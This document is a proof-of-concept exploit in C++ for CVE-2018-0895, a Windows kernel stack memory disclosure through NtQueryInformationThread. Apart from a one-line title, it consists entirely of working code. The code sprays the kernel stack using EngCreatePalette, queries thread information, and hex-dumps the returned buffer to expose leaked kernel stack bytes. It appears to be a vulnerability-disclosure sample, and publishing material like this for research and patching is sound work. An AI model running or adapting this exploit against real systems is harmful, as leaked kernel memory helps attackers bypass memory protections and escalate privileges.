Windows Kernel 64-bit stack memory disclosure in NtQueryInformationThread(ThreadBasicInformation)(CVE-2018-0895)

#include <Windows.h> #include <winternl.h> #include <cstdio> #define ThreadBasicInformation ((THREADINFOCLASS)0) VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { static bool initialized = false; static HPALETTE(*EngCreatePalette)( _In_ ULONG iMode, _In_ ULONG cColors, _In_ ULONG *pulColors, _In_ FLONG flRed, _In_ FLONG flGreen, _In_ FLONG flBlue ); if (!initialized) { EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette"); initialized = true; } static ULONG buffer[256]; MyMemset((PBYTE)buffer, 'A', sizeof(buffer)); EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0); MyMemset((PBYTE)buffer, 'B', sizeof(buffer)); } int main() { SprayKernelStack(); BYTE OutputBuffer[48] = { /* zero padding */ }; ULONG ReturnLength; NTSTATUS st = NtQueryInformationThread(GetCurrentThread(), ThreadBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength); if (!NT_SUCCESS(st)) { printf("NtQueryInformationThread failed, %x\n", st); return 1; } PrintHex(OutputBuffer, ReturnLength); return 0; }